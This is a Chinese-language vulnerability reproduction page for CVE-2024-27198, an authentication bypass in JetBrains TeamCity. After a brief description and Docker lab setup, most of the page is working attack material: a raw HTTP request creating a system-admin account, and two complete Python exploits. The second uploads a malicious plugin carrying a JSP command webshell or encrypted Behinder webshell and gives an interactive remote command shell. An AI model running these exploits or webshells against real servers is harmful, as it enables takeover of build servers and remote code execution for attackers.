JetBrains TeamCity 身份验证绕过漏洞 CVE-2024-27198

漏洞描述

TeamCity 是 JetBrains 开发的功能强大的持续集成和持续部署(CI/CD)服务器,支持包括 Java、C#、C/C++、PL/SQL、Cobol 等二十几种编程语言的代码质量管理与检测。

CVE-2024-27198 漏洞存在于 JetBrains TeamCity 中,是一个身份验证绕过漏洞。该漏洞可能使未经身份验证的攻击者能够通过 HTTP(S) 访问 TeamCity 服务器来绕过身份验证检查并获得对该 TeamCity 服务器的管理控制。

参考链接:

漏洞影响

JetBrains TeamCity < 2023.11.4

网络测绘

app="JET_BRAINS-TeamCity"

环境搭建

执行如下命令启动一个 TeamCity 2023.11.3 服务器:

docker pull jetbrains/teamcity-server:2023.11.3
docker run -it -d --name teamcity -u root -p 8111:8111 jetbrains/teamcity-server:2023.11.3

服务启动后,需要打开 http://your-ip:8111/ 并执行一系列初始化操作,创建一个管理员账户。

漏洞复现

直接使用 poc 创建一个新用户:

> python CVE-2024-27198.py -t http://your-ip:8111/ -u userthr33 -p passthr33
[+] Version Found:  2023.11.3 (build 147512)
[+] Server vulnerable, returning HTTP 200
[+] New user userthr33 created succesfully! Go to http://your-ip:8111//login.html to login with your new credentials :)

使用创建的账号 userthr33/passthr33 登录:

或者手动发包:

POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
Host: your-ip:8111
x-teamcity-client: Web UI
x-requested-with: XMLHttpRequest
Referer: http://your-ip:8111/profile.html
x-tc-csrf-token: a1f58037-7d9e-4934-9243-089e213c15e2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Content-Type: application/json
Content-Length: 161

{
  "username": "userthr331",
  "password": "passthr331",
  "email": "[email protected]",
  "roles": { "role": [{ "roleId": "SYSTEM_ADMIN", "scope": "g" }] }
}

使用创建的账号 userthr331/passthr331 登录:

漏洞 POC

CVE-2024-27198.py

import requests
import urllib3
import argparse
import re
urllib3.disable_warnings()

parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target",required=True, help="Target TeamCity Server URL")
parser.add_argument("-u", "--username", required=True,help="Insert username for the new user")
parser.add_argument("-p", "--password",required=True, help="Insert password for the new user")
args = parser.parse_args()

vulnerable_endpoint = "/pwned?jsp=/app/rest/users;.jsp" # Attacker’s path to exploit CVE-2024-27198, please refer to the Rapid7's blogpost for more information

def check_version():
    response = requests.get(args.target+"/login.html", verify=False) 
    repattern = r'<span class="vWord">Version</span>(.+?)</span>' # Regex pattern to extract the TeamCity version number
    try:
        version = re.findall(repattern, response.text)[0]
        print("[+] Version Found:", version)
    except:
        print("[-] Version not found")

def exploit():
    response = requests.get(args.target+vulnerable_endpoint, verify=False, timeout=10)
    http_code = response.status_code
    if http_code == 200:
        print("[+] Server vulnerable, returning HTTP", http_code) # HTTP 200 Status code is needed to confirm if the TeamCity Server is vulnerable to the auth bypass vuln
        create_user = {
            "username": args.username,
            "password": args.password,
            "email": f"{args.username}@mydomain.com",
            "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}, # Given admin permissions to your new user, basically you can have complete control of this TeamCity Server
        }
        headers = {"Content-Type": "application/json"}
        create_user = requests.post(args.target+vulnerable_endpoint, json=create_user, headers=headers, verify=False) # POST request to create the new user with admin privileges
        if create_user.status_code == 200:
            print("[+] New user", args.username, "created succesfully! Go to", args.target+"/login.html to login with your new credentials :)")
        else:
            print("[-] Error while creating new user")

    else:
        print("[-] Probable not vulnerable, returning HTTP", http_code) 

check_version()
exploit()

CVE-2024-27198-RCE.py

import re
import sys
import string
import random
import time
import zipfile
import urllib3
import requests
import argparse
from faker import Faker
import xml.etree.ElementTree as ET
from urllib.parse import quote_plus

urllib3.disable_warnings()
token_name = "".join(random.choices(string.ascii_letters + string.digits, k=10))
GREEN = "\033[92m"
RESET = "\033[0m"
session = requests.Session()

def GetTeamCityVersion(target):
    get_teamcity_version_url = target + "/hax?jsp=/app/rest/server;.jsp"
    get_teamcity_version_headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
    }
    get_teamcity_version_response = session.get(url=get_teamcity_version_url, headers=get_teamcity_version_headers,
                                                 proxies=proxy, verify=False, allow_redirects=False, timeout=600)
    root = ET.fromstring(get_teamcity_version_response.text)
    teamcity_version = root.attrib.get("version")
    return teamcity_version

def GetOSName(target):
    get_os_name_url = target + "/hax?jsp=/app/rest/debug/jvm/systemProperties;.jsp"
    get_os_name_headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
    }
    get_os_name_response = session.get(url=get_os_name_url, headers=get_os_name_headers, proxies=proxy, verify=False,
                                        allow_redirects=False, timeout=600)
    root = ET.fromstring(get_os_name_response.text)
    teamcity_info = {
        "arch": root.find(".//property[@name='os.arch']").get("value"),
        "name": root.find(".//property[@name='os.name']").get("value")
    }
    return teamcity_info["name"].lower()

def GetUserID(response_text):
    try:
        root = ET.fromstring(response_text)
        user_info = {
            "username": root.attrib.get("username"),
            "id": root.attrib.get("id"),
            "email": root.attrib.get("email"),
        }
        return user_info["id"]
    except ET.ParseError as err:
        print(f"[-] Failed to parse user XML response: {err}", "!")
        return None

def GetOSVersion(target):
    try:
        get_os_name_url = target + "/hax?jsp=/app/rest/debug/jvm/systemProperties;.jsp"
        get_os_name_headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
        }
        get_os_name_response = session.get(url=get_os_name_url, headers=get_os_name_headers,
                                            proxies=proxy, verify=False, allow_redirects=False, timeout=600)
        root = ET.fromstring(get_os_name_response.text)
        teamcity_info = {
            "arch": root.find(".//property[@name='os.arch']").get("value"),
            "name": root.find(".//property[@name='os.name']").get("value")
        }
        return teamcity_info["name"].lower()
    except Exception as err:
        print("[-] Unable to obtain operating system version, please try manual exploitation.")
        print("[-] Error in func <GetOSVersion>, error message: " + str(err))

def GenerateRandomString(length):
    characters = string.ascii_letters + string.digits
    return "".join(random.choices(characters, k=length))

def GetEvilPluginZipFile(shell_file_content, plugin_name):
    fake_info = Faker(languages=["en"])
    zip_resources = zipfile.ZipFile(f"{plugin_name}.jar", "w")
    if shell_file_content == "":
        evil_plugin_jsp = r"""<%@ page pageEncoding="utf-8"%>
<%@ page import="java.util.Scanner" %>
<%
    String op="";
    String query = request.getParameter("cmd");
    String fileSeparator = String.valueOf(java.io.File.separatorChar);
    Boolean isWin;
    if(fileSeparator.equals("\\")){
        isWin = true;
    }else{
        isWin = false;
    }
    if (query != null) {
        ProcessBuilder pb;
        if(isWin) {
            pb = new ProcessBuilder(new String(new byte[]{99, 109, 100}), new String(new byte[]{47, 67}), query);
        }else{
            pb = new ProcessBuilder(new String(new byte[]{47, 98, 105, 110, 47, 98, 97, 115, 104}), new String(new byte[]{45, 99}), query);
        }
        Process process = pb.start();
        Scanner sc = new Scanner(process.getInputStream()).useDelimiter("\\A");
        op = sc.hasNext() ? sc.next() : op;
        sc.close();
    }
%>
<%= op %>
"""
    else:
        evil_plugin_jsp = shell_file_content
    evil_plugin_xml = f"""<?xml version="1.0" encoding="UTF-8"?>
<teamcity-plugin xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:schemas-jetbrains-com:teamcity-plugin-v1-xml">
    <info>
        <name>{plugin_name}</name>
        <display-name>{plugin_name}</display-name>
        <description>{fake_info.sentence()}</description>
        <version>1.0</version>
        <vendor>
            <name>{fake_info.company()}</name>
            <url>{fake_info.url()}</url>
        </vendor>
    </info>
    <deployment use-separate-classloader="true" node-responsibilities-aware="true"/>
</teamcity-plugin>"""
    zip_resources.writestr(f"buildServerResources/{plugin_name}.jsp", evil_plugin_jsp)
    zip_resources.close()
    zip_plugin = zipfile.ZipFile(f"{plugin_name}.zip", "w")
    zip_plugin.write(filename=f"{plugin_name}.jar", arcname=f"server/{plugin_name}.jar")
    zip_plugin.writestr("teamcity-plugin.xml", evil_plugin_xml)
    zip_plugin.close()

def GetPluginInfoJson(target, token):
    try:
        load_evil_plugin_url = target + "/admin/admin.html?item=plugins"
        load_evil_plugin_headers = {
            "Authorization": f"Bearer {token}",
            "Content-Type": "Content-Type: application/x-www-form-urlencoded",
            "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
        }
        load_evil_plugin_response = session.get(url=load_evil_plugin_url, headers=load_evil_plugin_headers, proxies=proxy, verify=False,
                                                allow_redirects=False, timeout=600)
        register_plugin_pattern = r"BS\.Plugins\.registerPlugin\('([^']*)', '[^']*',[^,]*,[^,]*,\s*'([^']*)'\);"
        plugin_info_json = {}
        register_plugin_matches = re.findall(register_plugin_pattern, load_evil_plugin_response.text)
        for register_plugin_match in register_plugin_matches:
            plugin_name_ = register_plugin_match[0]
            uuid = register_plugin_match[1]
            plugin_info_json[plugin_name_] = uuid
        return plugin_info_json
    except:
        return None

def GetCSRFToken(target, token):
    get_csrf_token_url = target + "/authenticationTest.html?csrf"
    get_csrf_token_headers = {
        "Authorization": f"Bearer {token}",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
    }
    get_csrf_token_response = session.post(url=get_csrf_token_url, headers=get_csrf_token_headers, proxies=proxy, verify=False, allow_redirects=False, timeout=600)
    if get_csrf_token_response.status_code == 200:
        return get_csrf_token_response.text
    else:
        return None

def LoadEvilPlugin(target, plugin_name, token):
    plugin_info_json = GetPluginInfoJson(target, token)
    if not plugin_info_json.get(plugin_name):
        print("[-] The plugin just uploaded cannot be obtained. It may have been deleted by the administrator or AV or EDR")
        sys.exit(0)
    try:
        load_evil_plugin_url = target + "/admin/plugins.html"
        load_evil_plugin_headers = {
            "Authorization": f"Bearer {token}",
            "Content-Type": "application/x-www-form-urlencoded",
            "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36",
        }
        load_evil_plugin_data = f"enabled=true&action=setEnabled&uuid={plugin_info_json[plugin_name]}"
        load_evil_plugin_response = session.post(url=load_evil_plugin_url, headers=load_evil_plugin_headers, data=load_evil_plugin_data, proxies=proxy, verify=False, allow_redirects=False, timeout=600)
        if load_evil_plugin_response.status_code == 200 and ("<response>Plugin loaded successfully</response>" in load_evil_plugin_response.text or "is already loaded</response>" in load_evil_plugin_response.text):
            print(f"[+] Successfully load plugin {GREEN}{plugin_name}{RESET}")
            return True
        else:
            print(f"[-] Failed to load plugin {GREEN}{plugin_name}{RESET}")
            return False
    except:
        return False

def UploadEvilPlugin(target, plugin_name, token):
    try:
        upload_evil_plugin_url = target + "/admin/pluginUpload.html"
        upload_evil_plugin_header = {
            "Authorization": f"Bearer {token}",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
        }
        files = {
            "fileName": (None, f"{plugin_name}.zip"),
            "file:fileToUpload": (f"{plugin_name}.zip", open(f"{plugin_name}.zip", "rb").read(), "application/zip")
        }
        session.cookies.clear()
        upload_evil_plugin_response = session.post(url=upload_evil_plugin_url, files=files,
                                                   headers=upload_evil_plugin_header, proxies=proxy, verify=False,
                                                   allow_redirects=False, timeout=600)
        if upload_evil_plugin_response.status_code == 200:
            return True
        else:
            return False
    except Exception as e:
        print(e)
        return False

def ExecuteCommandByDebugEndpoint(target, os_version, command, token):
    try:
        command_encoded = quote_plus(command)
        if os_version == "linux":
            exec_cmd_url = target + f"/app/rest/debug/processes?exePath=/bin/sh&params=-c&params={command_encoded}"
        else:
            exec_cmd_url = target + f"/app/rest/debug/processes?exePath=cmd.exe&params=/c&params={command_encoded}"
        exec_cmd_headers = {
            "Authorization": f"Bearer {token}",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
        }
        exec_cmd_response = session.post(url=exec_cmd_url, headers=exec_cmd_headers, proxies=proxy, verify=False,
                                         allow_redirects=False, timeout=600)
        pattern = re.compile(r"StdOut:(.*?)StdErr:(.*?)$", re.DOTALL)
        match = re.search(pattern, exec_cmd_response.text)
        if match:
            stdout_content = match.group(1).strip()
            if stdout_content == "":
                stderr_content = match.group(2).strip()
                print(stderr_content.split("\n\n")[0])
            else:
                print(stdout_content)
        else:
            print("[-] Match failed. Response text: \n" + exec_cmd_response.text)
    except Exception as err:
        print("[-] Error in func <ExecuteCommand>, error message: " + str(err))

def ExecuteCommandByEvilPlugin(shell_url, command, token):
    try:
        command_encoded = quote_plus(command)
        exec_cmd_headers = {
            "Authorization": f"Bearer {token}",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36",
            "Content-Type": "application/x-www-form-urlencoded"
        }
        exec_cmd_response = session.post(url=shell_url, headers=exec_cmd_headers, proxies=proxy, data=f"cmd={command_encoded}", verify=False, allow_redirects=False, timeout=600)
        if exec_cmd_response.status_code == 200:
            print(exec_cmd_response.text.strip())
        else:
            print(f"[-] Response Code: {exec_cmd_response.status_code}, Response text: {exec_cmd_response.text}\n")
    except Exception as err:
        print("[-] Error in func <ExecuteCommand>, error message: " + str(err))


def AddUser(target, username, password, domain):
    add_user_url = target + "/hax?jsp=/app/rest/users;.jsp"
    add_user_headers = {
        "Content-Type": "application/json",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
    }
    add_user_data = {
        "username": f"{username}",
        "password": f"{password}",
        "email": f"{username}@{domain}",
        "roles": {
            "role": [
                {
                    "roleId": "SYSTEM_ADMIN",
                    "scope": "g"
                }
            ]
        }
    }
    try:
        add_user_response = session.post(url=add_user_url, json=add_user_data, headers=add_user_headers, proxies=proxy,
                                         verify=False, allow_redirects=False, timeout=600)
        user_id = GetUserID(add_user_response.text)
        if add_user_response.status_code == 200 and user_id is not None:
            print(f"[+] User added successfully, username: {GREEN}{username}{RESET}, password: {GREEN}{password}{RESET}, user ID: {GREEN}{user_id}{RESET}")
            return user_id
        else:
            print(f"[-] Failed to add user, there is no vulnerability in {target}")
            sys.exit(0)
    except Exception as err:
        print("[-] Error in func <AddUser>, error message: " + str(err))
        sys.exit(0)


def GetToken(target, user_id):
    exploit_url = target + f"/hax?jsp=/app/rest/users/id:{user_id}/tokens/{token_name};.jsp"
    exploit_headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
    }
    try:
        exploit_response = session.post(url=exploit_url, headers=exploit_headers, proxies=proxy, verify=False,
                                        allow_redirects=False, timeout=600)
        root = ET.fromstring(exploit_response.text)
        token_info = {
            "name": root.attrib.get("name"),
            "value": root.attrib.get("value"),
            "creationTime": root.attrib.get("creationTime"),
        }
        return token_info["value"]
    except Exception as err:
        print(f"[-] Failed to parse token XML response")
        print("[-] Error in func <GetToken>, error message: " + str(err))


def ParseArguments():
    banner = r"""
 _____                     ____ _ _           ____   ____ _____ 
|_   _|__  __ _ _ __ ___  / ___(_) |_ _   _  |  _ \ / ___| ____|
  | |/ _ \/ _` | '_ ` _ \| |   | | __| | | | | |_) | |   |  _|  
  | |  __/ (_| | | | | | | |___| | |_| |_| | |  _ <| |___| |___ 
  |_|\___|\__,_|_| |_| |_|\____|_|\__|\__, | |_| \_\\____|_____|
                                      |___/                     
                                                                            Author: @W01fh4cker
                                                                            Github: https://github.com/W01fh4cker
    """
    print(banner)
    parser = argparse.ArgumentParser(
        description="CVE-2024-27198 & CVE-2024-27199 Authentication Bypass --> RCE in JetBrains TeamCity Pre-2023.11.4")
    parser.add_argument("-u", "--username", type=str,
                        help="username you want to add. If left blank, it will be randomly generated.", required=False)
    parser.add_argument("-p", "--password", type=str,
                        help="password you want to add. If left blank, it will be randomly generated.", required=False)
    parser.add_argument("-t", "--target", type=str, help="target url", required=True)
    parser.add_argument("-d", "--domain", type=str, default="example.com", help="The domain name of the email address",
                        required=False)
    parser.add_argument("-f", "--file", type=str, help="The shell that you want to upload", required=False)
    parser.add_argument("--proxy", type=str, help="eg: http://127.0.0.1:8080", required=False)
    parser.add_argument("--behinder4", help="Upload the webshell of Behinder 4.0 [https://github.com/rebeyond/Behinder], the protocol is default_xor_base64", required=False, action="store_true")
    return parser.parse_args()


if __name__ == "__main__":
    args = ParseArguments()
    if not args.username:
        username = "".join(random.choices(string.ascii_lowercase + string.digits, k=8))
    else:
        username = args.username
    if not args.password:
        password = "".join(random.choices(string.ascii_letters + string.digits, k=10))
    else:
        password = args.password
    if not args.proxy:
        proxy = {}
    else:
        proxy = {
            "http": args.proxy,
            "https": args.proxy
        }
    if args.file:
        shell_content = open(args.file, "r", encoding="utf-8").read()
    elif args.behinder4:
        shell_content = r"""<%@page import="java.util.*,java.io.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
private byte[] Decrypt(byte[] data) throws Exception
{
     byte[] decodebs;
        Class baseCls ;
                try{
                    baseCls=Class.forName("java.util.Base64");
                    Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null);
                    decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data});
                }
                catch (Throwable e)
                {
                    baseCls = Class.forName("sun.misc.BASE64Decoder");
                    Object Decoder=baseCls.newInstance();
                    decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)});

                }
    String key="e45e329feb5d925b";
    for (int i = 0; i < decodebs.length; i++) {
        decodebs[i] = (byte) ((decodebs[i]) ^ (key.getBytes()[i + 1 & 15]));
    }
    return decodebs;
}
%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return
        super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            byte[] buf = new byte[512];
            int length=request.getInputStream().read(buf);
            while (length>0)
            {
                byte[] data= Arrays.copyOfRange(buf,0,length);
                bos.write(data);
                length=request.getInputStream().read(buf);
            }
            out.clear();
            out=pageContext.pushBody();
        new U(this.getClass().getClassLoader()).g(Decrypt(bos.toByteArray())).newInstance().equals(pageContext);}
%>"""
    else:
        shell_content = ""
    target = args.target.rstrip("/")
    teamcity_version = GetTeamCityVersion(target)
    plugin_name = GenerateRandomString(8)
    user_id = AddUser(target=target, username=username, password=password, domain=args.domain)
    token = GetToken(target, user_id)
    csrf_token = GetCSRFToken(target, token)
    session.headers.update({"X-TC-CSRF-Token": csrf_token})
    os_version = GetOSVersion(target)
    print(f"[+] The target operating system version is {GREEN}{os_version}{RESET}")
    if "2023.11." in teamcity_version.split(" ")[0]:
        print(f"[!] The current version is: {teamcity_version}. The official has deleted the /app/rest/debug/processes port. You can only upload a malicious plugin to upload webshell and cause RCE.")
        continue_code = input("[!] The program will automatically upload the webshell ofbehinder3.0. You can also specify the file to be uploaded through the parameter -f. Do you wish to continue? (y/n)")
        if continue_code.lower() != "y":
            sys.exit(0)
        else:
            GetEvilPluginZipFile(shell_content, plugin_name)
            if UploadEvilPlugin(target, plugin_name, token):
                print(f"[+] The malicious plugin {GREEN}{plugin_name}{RESET} was successfully uploaded and is trying to be activated")
                if LoadEvilPlugin(target, plugin_name, token):
                    shell_url = f"{target}/plugins/{plugin_name}/{plugin_name}.jsp"
                    print(f"[+] The malicious plugin {GREEN}{plugin_name}{RESET} was successfully activated! Webshell url: {GREEN}{shell_url}{RESET}")
                    if args.behinder4:
                        print(f"[+] Behinder4.0 Custom headers: \n{GREEN}X-TC-CSRF-Token: {csrf_token}\nAuthorization: Bearer {token}{RESET}")
                        print(f"[+] Behinder4.0 transmission protocol: {GREEN}default_xor_base64{RESET}")
                    if not args.file and not args.behinder4:
                        print("[+] Please start executing commands freely! Type <quit> to end command execution")
                        while True:
                            command = input(f"{GREEN}command > {RESET}")
                            if command == "quit":
                                sys.exit(0)
                            ExecuteCommandByEvilPlugin(shell_url, command, token)
                else:
                    print(f"[-] Malicious plugin {GREEN}{plugin_name}{RESET} activation failed")
            else:
                print(f"[-] Malicious plugin {GREEN}{plugin_name}{RESET} upload failed")
    else:
        print("[+] Please start executing commands freely! Type <quit> to end command execution")
        while True:
            command = input(f"{GREEN}command > {RESET}")
            if command == "quit":
                sys.exit(0)
            ExecuteCommandByDebugEndpoint(target, os_version, command, token)

漏洞修复

通用修补建议

根据 影响版本 中的信息,排查并升级到 安全版本,或直接访问参考链接获取官方更新指南。